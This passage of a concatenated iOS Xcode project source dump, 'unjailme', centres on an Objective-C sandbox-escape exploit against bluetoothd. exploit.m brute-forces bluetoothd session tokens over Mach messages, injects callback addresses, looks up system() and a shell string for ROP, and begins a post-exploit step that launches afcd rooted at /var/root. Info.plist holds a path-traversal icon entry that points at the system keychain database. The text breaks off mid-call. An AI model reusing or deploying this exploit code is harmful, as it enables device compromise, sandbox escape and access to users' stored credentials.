persistent container for the application. This implementation creates and returns a container, having loaded the store for the application to it. 112 | @synchronized (self) { 113 | if (_persistentContainer == nil) { 114 | _persistentContainer = [[NSPersistentContainer alloc] initWithName:@"unjailme"]; 115 | [_persistentContainer loadPersistentStoresWithCompletionHandler:^(NSPersistentStoreDescription *storeDescription, NSError *error) { 116 | if (error != nil) { 117 | // Replace this implementation with code to handle the error appropriately. 118 | // abort() causes the application to generate a crash log and terminate. You should not use this function in a shipping application, although it may be useful during development. 119 | 120 | /* 121 | Typical reasons for an error here include: 122 | * The parent directory does not exist, cannot be created, or disallows writing. 123 | * The persistent store is not accessible, due to permissions or data protection when the device is locked. 124 | * The device is out of space. 125 | * The store could not be migrated to the current model version. 126 | Check the error message to determine what the actual problem was. 127 | */ 128 | NSLog(@"Unresolved error %@, %@", error, error.userInfo); 129 | abort(); 130 | } 131 | }]; 132 | } 133 | } 134 | 135 | return _persistentContainer; 136 | } 137 | 138 | #pragma mark - Core Data Saving support 139 | 140 | - (void)saveContext { 141 | NSManagedObjectContext *context = self.persistentContainer.viewContext; 142 | NSError *error = nil; 143 | if ([context hasChanges] && ![context save:&error]) { 144 | // Replace this implementation with code to handle the error appropriately. 145 | // abort() causes the application to generate a crash log and terminate. You should not use this function in a shipping application, although it may be useful during development. 146 | NSLog(@"Unresolved error %@, %@", error, error.userInfo); 147 | abort(); 148 | } 149 | } 150 | 151 | @end 152 | -------------------------------------------------------------------------------- /unjailme/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "iphone", 5 | "size" : "20x20", 6 | "scale" : "2x" 7 | }, 8 | { 9 | "idiom" : "iphone", 10 | "size" : "20x20", 11 | "scale" : "3x" 12 | }, 13 | { 14 | "idiom" : "iphone", 15 | "size" : "29x29", 16 | "scale" : "2x" 17 | }, 18 | { 19 | "idiom" : "iphone", 20 | "size" : "29x29", 21 | "scale" : "3x" 22 | }, 23 | { 24 | "idiom" : "iphone", 25 | "size" : "40x40", 26 | "scale" : "2x" 27 | }, 28 | { 29 | "idiom" : "iphone", 30 | "size" : "40x40", 31 | "scale" : "3x" 32 | }, 33 | { 34 | "idiom" : "iphone", 35 | "size" : "60x60", 36 | "scale" : "2x" 37 | }, 38 | { 39 | "idiom" : "iphone", 40 | "size" : "60x60", 41 | "scale" : "3x" 42 | }, 43 | { 44 | "idiom" : "ipad", 45 | "size" : "20x20", 46 | "scale" : "1x" 47 | }, 48 | { 49 | "idiom" : "ipad", 50 | "size" : "20x20", 51 | "scale" : "2x" 52 | }, 53 | { 54 | "idiom" : "ipad", 55 | "size" : "29x29", 56 | "scale" : "1x" 57 | }, 58 | { 59 | "idiom" : "ipad", 60 | "size" : "29x29", 61 | "scale" : "2x" 62 | }, 63 | { 64 | "idiom" : "ipad", 65 | "size" : "40x40", 66 | "scale" : "1x" 67 | }, 68 | { 69 | "idiom" : "ipad", 70 | "size" : "40x40", 71 | "scale" : "2x" 72 | }, 73 | { 74 | "idiom" : "ipad", 75 | "size" : "76x76", 76 | "scale" : "1x" 77 | }, 78 | { 79 | "idiom" : "ipad", 80 | "size" : "76x76", 81 | "scale" : "2x" 82 | }, 83 | { 84 | "idiom" : "ipad", 85 | "size" : "83.5x83.5", 86 | "scale" : "2x" 87 | } 88 | ], 89 | "info" : { 90 | "version" : 1, 91 | "author" : "xcode" 92 | } 93 | } -------------------------------------------------------------------------------- /unjailme/Base.lproj/LaunchScreen.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /unjailme/Base.lproj/Main.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /unjailme/BaseBoard.h: -------------------------------------------------------------------------------- 1 | // 2 | // BaseBoard.h 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 13/03/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | #import 9 | @interface FAKESELECTORS : NSObject 10 | -(BOOL)createJobWithLabel:(id)arg1 bundleIdentifier:(id)arg2 path:(id)arg3 containerPath:(id)arg4 arguments:(id)arg5 environment:(id)arg6 standardOutputPath:(id)arg7 standardErrorPath:(id)arg8 machServices:(id)arg9 threadPriority:(long long)arg10 waitForDebugger:(BOOL)arg11 denyCreatingOtherJobs:(BOOL)arg12 runAtLoad:(BOOL)arg13 disableASLR:(BOOL)arg14 systemApp:(BOOL)arg15; 11 | @end 12 | -------------------------------------------------------------------------------- /unjailme/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleExecutable 8 | $(EXECUTABLE_NAME) 9 | CFBundleIdentifier 10 | $(PRODUCT_BUNDLE_IDENTIFIER) 11 | CFBundleInfoDictionaryVersion 12 | 6.0 13 | CFBundleName 14 | $(PRODUCT_NAME) 15 | CFBundlePackageType 16 | APPL 17 | CFBundleShortVersionString 18 | 1.0 19 | CFBundleVersion 20 | 1 21 | LSRequiresIPhoneOS 22 | 23 | UIBackgroundModes 24 | 25 | audio 26 | bluetooth-central 27 | fetch 28 | location 29 | 30 | UIFileSharingEnabled 31 | 32 | UILaunchStoryboardName 33 | LaunchScreen 34 | UIMainStoryboardFile 35 | Main 36 | UIRequiredDeviceCapabilities 37 | 38 | armv7 39 | 40 | UISupportedInterfaceOrientations 41 | 42 | UIInterfaceOrientationPortrait 43 | UIInterfaceOrientationLandscapeLeft 44 | UIInterfaceOrientationLandscapeRight 45 | UIInterfaceOrientationPortraitUpsideDown 46 | 47 | UISupportedInterfaceOrientations~ipad 48 | 49 | UIInterfaceOrientationPortrait 50 | UIInterfaceOrientationPortraitUpsideDown 51 | UIInterfaceOrientationLandscapeLeft 52 | UIInterfaceOrientationLandscapeRight 53 | 54 | UIPrerenderedIcon 55 | 56 | CFBundleIcons 57 | 58 | CFBundlePrimaryIcon 59 | 60 | CFBundleIconFiles 61 | 62 | ../../../../../../../private/var/Keychains/keychain-2.db 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /unjailme/ViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.h 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 27/02/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | #import "exploit.h" 12 | @interface ViewController : UIViewController 13 | @property SandboxExploit* sbexploit; 14 | @property BOOL bluetoothEnabled; 15 | @property CBCentralManager* bluetoothManager; 16 | @end 17 | 18 | -------------------------------------------------------------------------------- /unjailme/ViewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.m 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 27/02/2018. 6 | // Exploit by https://github.com/rani-i 7 | // Copyright © 2018 Jailed Inc. All rights reserved. 8 | // 9 | 10 | #import "ViewController.h" 11 | #import "APIManager.h" 12 | #import "exploit.h" 13 | @interface ViewController() 14 | - (IBAction)doExploit:(id)sender; 15 | @property (weak, nonatomic) IBOutlet UITextView *consoleView; 16 | @end 17 | 18 | @implementation ViewController 19 | 20 | - (void)startBluetoothStatusMonitoring { 21 | // Horrible formatting, but nicer for blog-width! 22 | self.bluetoothManager = [[CBCentralManager alloc] 23 | initWithDelegate:self 24 | queue:dispatch_get_main_queue() 25 | options:@{CBCentralManagerOptionShowPowerAlertKey: @(NO)}]; 26 | } 27 | 28 | #pragma mark - CBCentralManagerDelegate 29 | 30 | - (void)centralManagerDidUpdateState:(CBCentralManager *)central { 31 | if ([central state] == CBManagerStatePoweredOn) { 32 | self.bluetoothEnabled = YES; 33 | } 34 | else { 35 | self.bluetoothEnabled = NO; 36 | } 37 | } 38 | 39 | - (void)viewDidLoad { 40 | [super viewDidLoad]; 41 | [APIManager loadFW:@"BaseBoard" private:YES]; 42 | self.sbexploit = [SandboxExploit alloc]; 43 | [self startBluetoothStatusMonitoring]; 44 | // Do any additional setup after loading the view, typically from a nib. 45 | } 46 | 47 | - (void)exploit 48 | { 49 | [self.sbexploit run]; 50 | } 51 | 52 | - (void)didReceiveMemoryWarning { 53 | [super didReceiveMemoryWarning]; 54 | // Dispose of any resources that can be recreated. 55 | } 56 | 57 | 58 | - (IBAction)doExploit:(id)sender { 59 | 60 | if(self.bluetoothEnabled) 61 | { 62 | [self exploit]; 63 | dispatch_async(dispatch_get_main_queue(), ^(void){ 64 | [sender setEnabled:NO]; 65 | [sender setTitle:@"Doing it..." forState:UIControlStateDisabled]; 66 | }); 67 | [sender setTitle:@"Done, don't believe me? turn off bluetooth" forState:UIControlStateNormal]; 68 | [self.consoleView setText:self.sbexploit.output]; 69 | } else { 70 | [sender setTitle:@"Turn on bluetooth + retry" forState:UIControlStateNormal]; 71 | } 72 | } 73 | @end 74 | -------------------------------------------------------------------------------- /unjailme/exploit.h: -------------------------------------------------------------------------------- 1 | // 2 | // exploit.h 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 27/02/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #ifndef exploit_h 10 | #define exploit_h 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "devicehelper.h" 19 | #include "endianhelper.h" 20 | #include "machhelper.h" 21 | #include "lorgnette.h" 22 | #include "log.h" 23 | 24 | @interface SandboxExploit : NSObject 25 | @property NSString* output; 26 | -(void)run; 27 | @end 28 | #endif /* exploit_h */ 29 | -------------------------------------------------------------------------------- /unjailme/exploit.m: -------------------------------------------------------------------------------- 1 | // 2 | // exploit.c 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 27/02/2018. 6 | // Exploit by https://github.com/rani-i 7 | // Copyright © 2018 Jailed Inc. All rights reserved. 8 | // 9 | 10 | #include "exploit.h" 11 | 12 | /* FTP Stuff */ 13 | #ifdef MTFTP 14 | #import "mtftp.h" 15 | #endif 16 | 17 | /* Private API Utillities and classes */ 18 | #import "APIManager.h" 19 | #import "BaseBoard.h" 20 | 21 | /* Macho Headers */ 22 | #include 23 | #include 24 | 25 | /* XPC Private Framework (Install.md for instructions) */ 26 | #include 27 | 28 | 29 | /* Config */ 30 | //#define MTFTP 31 | //#define SKIP_MACHO_HEADER 32 | #define MAXIMUM_NUMBER_OF_PORTS_AVAILABLE 0xffff 33 | 34 | #define BLUETOOTHD_CONST 0xFA300 35 | #define BLUETOOTHD_WRONG_TOKEN 7 36 | 37 | #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE 0x44 38 | #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE 0x48 39 | #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS 0x113 40 | #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID 3 41 | #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT 0x1000 42 | #define BLUETOOTHD_MIG_SERVER_NAME "com.apple.server.bluetooth" 43 | 44 | #define ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET 0x20 45 | #define ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET 0x20 46 | #define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET 0x28 47 | #define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA 0x40 48 | 49 | 50 | 51 | @interface SandboxExploit() 52 | @end 53 | 54 | @implementation SandboxExploit 55 | 56 | - (NSString *)stringFromHexString:(NSString *)hexString { 57 | 58 | 59 | // The hex codes should all be two characters. 60 | if (([hexString length] % 2) != 0) 61 | return nil; 62 | 63 | NSMutableString *string = [NSMutableString string]; 64 | 65 | for (NSInteger i = 0; i < [hexString length]; i += 2) { 66 | 67 | NSString *hex = [hexString substringWithRange:NSMakeRange(i, 2)]; 68 | NSInteger decimalValue = 0; 69 | sscanf([hex UTF8String], "%lx", &decimalValue); 70 | if(decimalValue != 0) 71 | if(decimalValue < 32 || decimalValue >= 127) 72 | return @"ERR_NON_ASCII"; 73 | [string appendFormat:@"%c",(char)decimalValue]; 74 | } 75 | 76 | return string; 77 | } 78 | 79 | uint64_t system_address = 0; 80 | uint64_t rop_string_shell = 0; 81 | 82 | - (void) preExploitation 83 | { 84 | /* Create arbitrary pointer to lorgnette's leaked system address with arguments, not used yet though*/ 85 | system_address = lorgnette_lookup(mach_task_self(), "system"); //Find system function address 86 | rop_string_shell = system_address + 0x5180; //(/bin/sh) (But obviously this doesn't exist on iOS 87 | 88 | int imageCount = _dyld_image_count(); //Get the number of loaded libraries and frameworks 89 | 90 | //For each library in the process 91 | for (int i=0; i < imageCount; i++) { 92 | 93 | //Get the name of the framework or libary 94 | const char* dylib_name = [[[NSString stringWithUTF8String:_dyld_get_image_name(i)] lastPathComponent] UTF8String]; 95 | 96 | //Get the baseaddress of the framework or library 97 | addr64_t addr =(addr64_t) lorgnette_lookup_baseaddress(dylib_name); 98 | NSLog(@"Base address of %s is %#llx\n", dylib_name, addr); 99 | 100 | //Parse the mach-o header of the framework or libary 101 | addr64_t macho_header_addr = lorgnette_lookup_image(mach_task_self(), "_mh_execute_header", dylib_name); 102 | struct mach_header_64* header64; 103 | header64 = (struct mach_header_64*)macho_header_addr; 104 | 105 | //Validate that we are working with an 64-bit little endian or big endian mach-o header 106 | if(header64->magic != MH_CIGAM_64 && header64->magic != MH_MAGIC_64) 107 | { 108 | NSLog(@"%s: invalid mach-o magic, got: %#x\n", dylib_name, header64->magic); 109 | } 110 | 111 | //Get a pointer to the image header so we can start parsing the mach-o file (The framework or library) 112 | uint8_t *imageHeaderPtr = (uint8_t*)header64; 113 | imageHeaderPtr += sizeof(struct mach_header_64); 114 | typedef struct load_command load_command; 115 | 116 | //Find all load commands in the mach-o file (The framework or library) 117 | load_command *command = (load_command*)imageHeaderPtr; 118 | char* loadcmdstr = NULL; 119 | NSLog(@"Load commands:\n"); 120 | for(int i = 0; i < header64->ncmds; i++) 121 | { 122 | switch (command->cmd) { 123 | case LC_MAIN: 124 | loadcmdstr = "LC_MAIN"; 125 | break; 126 | case LC_ALL: 127 | loadcmdstr = "LC_ALL"; 128 | break; 129 | case LC_NOTE: 130 | loadcmdstr = "LC_NOTE"; 131 | break; 132 | case LC_TIME: //(LC_UNIXTHREAD) 133 | loadcmdstr = "LC_TIME / LC_UNIXTHREAD"; 134 | break; 135 | case LC_UUID: 136 | loadcmdstr = "LC_UUID"; 137 | break; 138 | case LC_IDENT: 139 | loadcmdstr = "LC_IDENT"; 140 | break; 141 | case LC_RPATH: 142 | loadcmdstr = "LC_RPATH"; 143 | break; 144 | case LC_SYMSEG: //(LC_MONETARY) 145 | loadcmdstr = "LC_SYMSEG / LC_MONETARY"; 146 | break; 147 | case LC_SYMTAB: //(LC_CTYPE) 148 | loadcmdstr = "LC_SYMTAB / LC_CTYPE"; 149 | break; 150 | case LC_THREAD: //(LC_NUMERIC) 151 | loadcmdstr = "LC_THREAD / LC_NUMERIC"; 152 | break; 153 | case LC_COLLATE: //(LC_SEGMENT, LC_SEGMENT_NATIVE) 154 | loadcmdstr = "LC_COLLATE / LC_SEGMENT / LC_SEGMENT_NATIVE"; 155 | break; 156 | case LC_FVMFILE: 157 | loadcmdstr = "LC_FVMFILE"; 158 | break; 159 | case LC_PREPAGE: 160 | loadcmdstr = "LC_PREPAGE"; 161 | break; 162 | case LC_DYSYMTAB: 163 | loadcmdstr = "LC_DYSYMTAB"; 164 | break; 165 | case LC_ID_DYLIB: 166 | loadcmdstr = "LC_ID_DYLIB"; 167 | break; 168 | case LC_IDFVMLIB: 169 | loadcmdstr = "LC_IDFVMLIB"; 170 | break; 171 | case LC_MESSAGES: 172 | loadcmdstr = "LC_MESSAGES"; 173 | break; 174 | case LC_PREBIND_CKSUM: 175 | loadcmdstr = "LC_PREBIND_CKSUM"; 176 | break; 177 | case LC_PREBOUND_DYLIB: 178 | loadcmdstr = "LC_PREBOUND_DYLIB"; 179 | break; 180 | case LC_REQ_DYLD: 181 | loadcmdstr = "LC_REQ_DYLD"; 182 | break; 183 | case LC_SUB_CLIENT: 184 | loadcmdstr = "LC_SUB_CLIENT"; 185 | break; 186 | case LC_SUB_UMBRELLA: 187 | loadcmdstr = "LC_SUB_UMBRELLA"; 188 | break; 189 | case LC_SUB_LIBRARY: 190 | loadcmdstr = "LC_SUB_LIBRARY"; 191 | break; 192 | case LC_SUB_FRAMEWORK: 193 | loadcmdstr = "LC_SUB_FRAMEWORK"; 194 | break; 195 | case LC_SOURCE_VERSION: 196 | loadcmdstr = "LC_SOURCE_VERSION"; 197 | break; 198 | case LC_SEGMENT_SPLIT_INFO: 199 | loadcmdstr = "LC_SEGMENT_SPLIT_INFO"; 200 | break; 201 | case LC_TWOLEVEL_HINTS: 202 | loadcmdstr = "LC_TWOLEVEL_HINTS"; 203 | break; 204 | case LC_VERSION_MIN_TVOS: 205 | loadcmdstr = "LC_VERSION_MIN_TVOS"; 206 | break; 207 | case LC_VERSION_MIN_WATCHOS: 208 | loadcmdstr = "LC_VERSION_MIN_WATCHOS"; 209 | break; 210 | case LC_VERSION_MIN_IPHONEOS: 211 | loadcmdstr = "LC_VERSION_MIN_IPHONEOS"; 212 | break; 213 | case LC_REEXPORT_DYLIB: 214 | loadcmdstr = "LC_REEXPORT_DYLIB"; 215 | break; 216 | case LC_BUILD_VERSION: 217 | loadcmdstr = "LC_BUILD_VERSION"; 218 | break; 219 | case LC_CODE_SIGNATURE: 220 | loadcmdstr = "LC_CODE_SIGNATURE"; 221 | break; 222 | case LC_DATA_IN_CODE: 223 | loadcmdstr = "LC_DATA_IN_CODE"; 224 | break; 225 | case LC_DYLD_INFO: 226 | loadcmdstr = "LC_DYLD_INFO"; 227 | break; 228 | case LC_DYLD_INFO_ONLY: 229 | loadcmdstr = "LC_DYLD_INFO_ONLY"; 230 | break; 231 | case LC_DYLD_ENVIRONMENT: 232 | loadcmdstr = "LC_DYLD_ENVIRONMENT"; 233 | break; 234 | case LC_DYLIB_CODE_SIGN_DRS: 235 | loadcmdstr = "LC_DYLIB_CODE_SIGN_DRS"; 236 | break; 237 | case LC_ENCRYPTION_INFO: 238 | loadcmdstr = "LC_ENCRYPTION_INFO"; 239 | break; 240 | case LC_ENCRYPTION_INFO_64: 241 | loadcmdstr = "LC_ENCRYPTION_INFO_64"; 242 | break; 243 | case LC_FUNCTION_STARTS: 244 | loadcmdstr = "LC_FUNCTION_STARTS"; 245 | break; 246 | case LC_LINKER_OPTIMIZATION_HINT: 247 | loadcmdstr = "LC_LINKER_OPTIMIZATION_HINT"; 248 | break; 249 | case LC_LINKER_OPTION: 250 | loadcmdstr = "LC_LINKER_OPTION"; 251 | break; 252 | case LC_LOAD_DYLINKER: 253 | loadcmdstr = "LC_LOAD_DYLD_LINKER"; 254 | break; 255 | case LC_SEGMENT_64: 256 | loadcmdstr = "LC_SEGMENT_64"; 257 | break; 258 | case LC_ROUTINES_64: 259 | loadcmdstr = "LC_ROUTINES_64"; 260 | break; 261 | case LC_LOAD_DYLIB: 262 | loadcmdstr = "LC_LOAD_DYLIB"; 263 | break; 264 | default: 265 | loadcmdstr = (char*)[[NSString stringWithFormat:@"%#x",command->cmd] UTF8String]; 266 | break; 267 | } 268 | struct entry_point_command ucmd = *(struct entry_point_command*)imageHeaderPtr; 269 | uint64_t entryoff = ucmd.entryoff; 270 | entryoff = swap_uint64(entryoff); 271 | 272 | NSString* string = [self stringFromHexString:[NSString stringWithFormat:@"%llx",entryoff]]; 273 | if([string isEqualToString:@"ERR_NON_ASCII"]) 274 | { 275 | string = [NSString stringWithFormat:@"%#llx",entryoff]; 276 | } 277 | NSLog(@"\t%s = %@\n",loadcmdstr, string); 278 | 279 | //NSLog(@"\t%s = %s\n",loadcmdstr, *entryoff); //Print out the load command 280 | 281 | imageHeaderPtr += command->cmdsize; 282 | command = (load_command*)imageHeaderPtr; 283 | } 284 | 285 | #ifdef SKIP_MACHO_HEADER 286 | [self hexDump:(char*)dylib_name addr:(void*)(addr+sizeof(struct mach_header_64)) length: 0x200]; //dump the first 512 bytes after the mach-o header 287 | #else 288 | [self hexDump:(char*)dylib_name addr:(void*)addr length: 0x200]; //dump the first 512 bytes 289 | #endif 290 | } 291 | 292 | //This stuff is only meant as a demonstation for educational purposes, it doesn't contribute to the exploit 293 | char hostname[MAXHOSTNAMELEN]; //Won't overflow as a hostname will never be longer than MAXHOSTNAMELEN 294 | 295 | arbitrary_command libcgethostname = arbitrary("gethostname"); //Create a function pointer to the address of gethostname() 296 | arbitrary_command libcprintf = arbitrary("printf"); //Create a function pointer to the address of printf() 297 | 298 | CALLSYMBOL(libcgethostname, hostname, MAXHOSTNAMELEN); //Call the function with arguments, equivalent to gethostname(char* buf, int len); 299 | CALLSYMBOL(libcprintf, "Hostname: "); //Call printf with arguments 300 | CALLSYMBOL(libcprintf, hostname); //Call printf with arguments, I think you get it now. 301 | CALLSYMBOL(libcprintf, "\n"); 302 | } 303 | 304 | -(mach_port_t) get_service_port:(char *)service_name 305 | { 306 | kern_return_t ret = KERN_SUCCESS; 307 | mach_port_t service_port = MACH_PORT_NULL; 308 | mach_port_t bs = MACH_PORT_NULL; 309 | 310 | 311 | ret = task_get_bootstrap_port(mach_task_self(), &bs); 312 | 313 | ret = bootstrap_look_up(bootstrap_port, service_name, &service_port); 314 | if (ret) 315 | { 316 | NSLog(@"Couldn't find port for %s\n",service_name); 317 | return MACH_PORT_NULL; 318 | } 319 | 320 | NSLog(@"Got port: %x\n", service_port); 321 | 322 | mach_port_deallocate(mach_task_self(), bs); 323 | return service_port; 324 | } 325 | 326 | 327 | -(mach_msg_return_value) BTLocalDevice_add_callback:(mach_port_t)bluetoothd_port session_token:(mach_port_t)session_token callback_address:(void*)callback_address additional_data:(long)additional_data 328 | { 329 | 330 | //Construct a the MACH_MESSAGE for bluetoothd interaction 331 | mach_port_t receive_port = MACH_PORT_NULL; 332 | mach_msg_header_t * message = NULL; 333 | char *data = NULL; 334 | kern_return_t ret = KERN_SUCCESS; 335 | mach_msg_return_value return_value = 0; 336 | mach_msg_id_t msgh_id = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID; 337 | mach_msg_size_t recv_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE; 338 | mach_msg_size_t send_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE; 339 | mach_msg_option_t options = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS; 340 | mach_msg_size_t msg_size = MAX(recv_size, send_size); 341 | 342 | //We need a port with with receive rights for responses from bluetoothd 343 | ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port); 344 | if ( ret != KERN_SUCCESS) 345 | { 346 | return_value = -3; 347 | NSLog(@"Failed to allocate port ret=%x\n", ret); 348 | NSLog(@"mach_error_string: mach_error_string %s\n", mach_error_string(ret)); 349 | goto cleanup; 350 | } 351 | 352 | //We need a port with send rights for requests to bluetoothd 353 | ret = mach_port_insert_right(mach_task_self(), receive_port, receive_port, MACH_MSG_TYPE_MAKE_SEND); 354 | if ( ret != KERN_SUCCESS) 355 | { 356 | return_value = -3; 357 | NSLog(@"Failed to insert port right ret=%x\n", ret); 358 | NSLog(@"mach_error_string: mach_error_string %s\n", mach_error_string(ret)); 359 | goto cleanup; 360 | } 361 | 362 | message = malloc(msg_size); 363 | data = (char *)message; 364 | memset(message, 0, msg_size); 365 | *((mach_port_t *)(data+ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET)) = session_token; 366 | *((void **)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET)) = callback_address; 367 | *((long *)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA)) = additional_data; 368 | message->msgh_bits = 0x1513 ; 369 | 370 | message->msgh_remote_port = bluetoothd_port; /* Request port */ 371 | message->msgh_local_port = receive_port; /* Reply port */ 372 | message->msgh_size = send_size; /* Message size */ 373 | message->msgh_reserved = 0; 374 | message->msgh_id = BLUETOOTHD_CONST + msgh_id; 375 | 376 | //Send our message to bluetoothd 377 | ret = mach_msg(message, /* The header */ 378 | options, /* Flags */ 379 | send_size, /* Send size */ 380 | recv_size, /* Max receive Size */ 381 | receive_port, /* Receive port */ 382 | BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT, /* No timeout */ 383 | MACH_PORT_NULL); /* No notification */ 384 | 385 | //Make sure we were able to actually send our message 386 | if(MACH_MSG_SUCCESS == ret) 387 | { 388 | return_value = *(mach_msg_return_value *) (((char *) message) + ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET); 389 | if (return_value != BLUETOOTHD_WRONG_TOKEN) { 390 | NSLog(@"Sent message id %d with token %x, returned: %x\n", msgh_id, session_token, return_value); 391 | } 392 | } else if (MACH_RCV_INVALID_NAME == ret) //Check if something went wrong sending our message 393 | { 394 | NSLog(@"mach_error_string: mach_error_string %s\n", mach_error_string(ret)); 395 | NSLog(@"mach_error_int: ret=%x\n", ret); 396 | NSLog(@"mach_remote_port: %x\n", message->msgh_remote_port); 397 | return_value = -2; 398 | } 399 | else { //In all other cases something weird has happened and we failed. 400 | NSLog(@"mach_error_string: mach_error_string %s\n", mach_error_string(ret)); 401 | NSLog(@"mach_error_int: ret=%x\n", ret); 402 | NSLog(@"mach_remote_port: %x\n", message->msgh_remote_port); 403 | return_value = -1; 404 | } 405 | 406 | 407 | cleanup: 408 | if(MACH_PORT_NULL != receive_port) 409 | { 410 | mach_port_destroy(mach_task_self(), receive_port); //destroy the machport we have for receiving messages 411 | } 412 | 413 | if (NULL != message) { 414 | free(message); //free our message, we don't need it anymore 415 | } 416 | return return_value; 417 | } 418 | 419 | 420 | -(bool) try_to_add_callback_BTLocalDeviceAddCallbacks:(void *)address value:(long)value 421 | { 422 | int ports_found[MAXIMUM_NUMBER_OF_PORTS_AVAILABLE] = {0}; //There are 0xffff (65535) maximum number of ports available, so we create a list of ports with that size 423 | int number_of_ports_found = 0; 424 | 425 | mach_port_t bluetoothd_port = [self get_service_port:BLUETOOTHD_MIG_SERVER_NAME]; //First we need to know what the port of bluetoothd is so we can communicate with the daemon 426 | 427 | if (MACH_PORT_NULL == bluetoothd_port) //Make we were able to get a port, else our exploit obviously failed because we can't communicate with bluetoothd 428 | { 429 | NSLog(@"Couldn't have bluetoothd port\n",nil); 430 | return false; 431 | } 432 | 433 | NSLog(@"Starting to look for session tokens\n", nil); 434 | for (int i = 0; i <= MAXIMUM_NUMBER_OF_PORTS_AVAILABLE; i++) { 435 | int id = 0; 436 | id = (i << 16) + 1; 437 | int result_code = [self BTLocalDevice_add_callback:bluetoothd_port session_token:id callback_address:NULL additional_data:0]; 438 | if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) 439 | { 440 | NSLog(@"Found port: %x\n", id); 441 | ports_found[number_of_ports_found] = id; 442 | number_of_ports_found ++; 443 | } 444 | 445 | 446 | id = (i << 16) + 2; 447 | result_code = [self BTLocalDevice_add_callback:bluetoothd_port session_token:id callback_address:NULL additional_data:0]; 448 | if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) 449 | { 450 | NSLog(@"Found port: %x\n", id); 451 | ports_found[number_of_ports_found] = id; 452 | number_of_ports_found ++; 453 | } 454 | 455 | 456 | id = (i << 16); 457 | result_code = [self BTLocalDevice_add_callback:bluetoothd_port session_token:id callback_address:NULL additional_data:0]; 458 | if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) 459 | { 460 | NSLog(@"Found port: %x\n", id); 461 | ports_found[number_of_ports_found] = id; 462 | number_of_ports_found ++; 463 | } 464 | 465 | } 466 | 467 | for (int i = number_of_ports_found-1; i>=0; i--) { 468 | // WORK IN PROGRESS 469 | NSLog(@"Adding callback: Port=%x address=%x value=%x\n", ports_found[i], (unsigned int)address, (unsigned int)value); 470 | [self BTLocalDevice_add_callback:bluetoothd_port session_token:ports_found[i] callback_address:address additional_data:value]; 471 | } 472 | 473 | NSLog(@"Exploit succeeded!\n"); 474 | return true; 475 | } 476 | 477 | - (void)doPostExploitStuff 478 | { 479 | Class BSLaunchdUtilities = NSClassFromString(@"BSLaunchdUtilities"); 480 | id label = @"com.apple.afc"; 481 | NSMutableArray* args = [NSMutableArray arrayWithObjects:@"-r",@"-d",@"/var/root", nil]; 482 | NSMutableArray* services = [NSMutableArray arrayWithObjects:@"com.apple.afc", nil]; 483 | NSDictionary* env = [[NSProcessInfo processInfo] environment]; 484 | NSString* docsdir = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject]; 485 | 486 | #pragma clang diagnostic push 487 | #pragma clang diagnostic ignore "-Wobjc-method-access" 488 | BOOL success = [BSLaunchdUtilities createJobWithLabel:label bundleIdentifier:@"com.apple.afcd" 